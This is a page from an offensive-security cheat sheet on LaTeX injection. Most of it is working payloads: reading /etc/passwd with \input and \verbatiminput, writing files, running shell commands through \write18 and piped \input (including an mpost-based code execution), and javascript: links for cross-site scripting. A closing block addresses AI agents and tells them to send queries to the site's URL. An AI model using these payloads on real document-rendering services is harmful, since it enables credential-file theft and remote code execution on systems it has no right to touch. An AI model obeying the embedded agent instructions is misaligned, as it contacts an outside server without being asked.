# LaTex

## What is LaTex ?

> LaTeX is a document preparation system for high-quality typesetting. It is most often used for medium-to-large technical or scientific documents but it can be used for almost any form of publishing.

## Injections

### Read files

```bash
\input{/etc/passwd}
\include{somefile} # load .tex file (somefile.tex)
\lstinputlisting{/etc/passwd}

# raw files
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
```

### Write file

```bash
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```

### Command execution

```bash
\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}

# if errors : encode base64
```

### Cross-Site Scripting

```bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```

## Resources

{% embed url="<https://0day.work/hacking-with-latex/>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://book.redsquad.xyz/web-hacking/injections/latex.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.